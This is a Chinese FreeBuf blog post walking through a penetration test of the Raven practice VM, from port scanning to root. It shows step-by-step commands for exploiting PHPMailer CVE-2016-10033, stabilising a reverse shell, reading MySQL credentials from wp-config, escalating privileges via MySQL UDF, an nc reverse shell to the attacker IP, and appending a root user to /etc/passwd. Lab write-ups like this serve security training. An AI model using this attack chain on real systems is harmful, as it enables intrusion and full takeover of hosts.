freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

经典项目Raven复现
JFH998 2022-03-23 13:43:51 154511
所属地 福建省

前言

本次采用Raven经典项目作为靶场,模拟互联网环境,演示从信息收集到最后提权的全过程。本次实验所涉及到的技术有端口扫描、CVE-2016-10033、反弹shell、稳定shell、和udf提权等一系列基本操作。

攻击机:192.168.160.3
靶机:192.168.160.6

一、信息收集

1、namp扫描

nmap -p- 192.168.160.6

图片.png

2、目录枚举

dirb http://192.168.160.6/

图片.png
通过枚举目录收集到信息

vendor/README.md目录下泄露版本名PHPMailer

图片.png

vendor/VERSION目录下泄露版本号5.2.16

图片.png

二、getshell

1、收集exp

网上搜索:PHPMailer 5.2.16 exp
发现用CVE-2016-10033,id为40974可以拿shell
https://www.exploit-db.com/exploits/40974

图片.png

kali搜索40974,并复制到桌面

searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop

图片.png

2、修改exp

41行:改下地址:http://192.168.160.6/index.html
42行:后门名称:/zhi.php
44行:改下回弹的IP和端口 192.168.160.3 6666
47行:改下写入shell的目录:/var/www/html/zhi.php

图片.png

3、执行exp

python3 40974.py

图片.png

此时访问http://192.168.160.6/contact.php会生成zhi.php,此时nc开监听,再访问zhi.php,成功上线

图片.png

4、稳定shell

虽然反弹回shell,但是个伪shell,容易断开,不易操作,用python建立稳定shell

python -c 'import pty;pty.spawn("/bin/bash")'

图片.png

通过翻阅目录,发现/var/www/html/wordpress目录下有个wp-config配置文件,并且在28行有mysql密码信息

图片.png

查看wp-config.php得到mysql账号密码root/R@v3nSecurity

cat wp-config.php

图片.png

5、拓展

我们速度一快就会经常按错,导致shell断开,这时又得重新回弹,我们可以
ctrl+z先退出来,再进入bash的shell
chsh -s /bin/bash
再输入
stty raw -echo 
最后输入fg,即可进入稳定shell

图片.png

三、udf提权

原理:
udf=’user defined function’,即用户自定义函数。
是通过添加新函数,对MySQL的功能进行扩充,性质就像使用本地MySQL函数如abs()或concat()。
使用UDF提权原理大概就是通过引入udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。
在MySQL5.1版本以上需要将其存在MySQL安装目录mysql/lib/plugin下,文件后缀为.dll。

条件
(1)Mysql版本 > 5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
(2)Mysql版本 < 5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
(4)可以将udf.dll写入到相应目录的权限。

1、登入mysql

使用收集到的root/R@v3nSecurity登入数据库

mysql -uroot -pR@v3nSecurity

图片.png

2、查看版本

版本号:5.5.60

select version();

图片.png

3、查看是否可以写入

show global variables like 'secure%';

secure_file_priv无具体值,可提权!

图片.png

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

4、查看插件目录

show variables like '%plugin%';

得出目录在 /usr/lib/mysql/plugin/

图片.png

5、查看能否远程登录

use mysql;
select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权

图片.png

6、exp收集编译上传

网上搜索:mysql 5.x UDF exploit

https://www.exploit-db.com/exploits/1518

图片.png

searchsploit 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop/

图片.png

编译exp

根据exp提示编译该exp

gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o zhi.so 1518.o -lc

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

图片.png

上传exp

攻击机开启http服务

python3 -m http.server 8520

受害机下载exp

wget http://192.168.160.3:8520/zhi.so

图片.png

7、建表

在mysql库下建立一张表zhi

create table zhi(line blob);

图片.png

在zhi表中插入刚才编译成的后门zhi.o

insert into zhi values(load_file('/tmp/zhi.so'));

图片.png

新建存储函数:

select * from zhi into dumpfile '/usr/lib/mysql/plugin/zhi.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'zhi.so';

查看以下创建的函数:

select * from mysql.func;

图片.png

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system('chmod u+s /usr/bin/find');

图片.png

find / -exec "/bin/sh" \;

图片.png

四、拓展

除了udf提权,我们也可以用其它方法来提权,以下演示两种方法

1、mysql反弹

select do_system('nc -nv 192.168.160.3 2233 -e /bin/bash');
nc -lvvp 2233

图片.png

2、加入root权限用户

创建用户名为zhi,密码为kOAnMhUgsWauo
openssl passwd zhi
kOAnMhUgsWauo

查看root的密码构造为root:x:0:0:root:/root:/bin/bash
cat /etc/passwd

图片.png

select do_system('echo "zhi:kOAnMhUgsWauo:0:0:root:/root:/bin/bash" >> /etc/passwd');
su zhi

图片.png

图片.png

# 渗透测试 # 黑客 # web安全 # 系统安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 JFH998 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
JFH998 LV.5
这家伙太懒了,还未填写个人描述!
  • 16 文章数
  • 54 关注者
关于URL采集的构想与实现
2024-08-12
网络安全渗透之主机持久化
2023-04-16
本地侦擦与提权
2023-04-15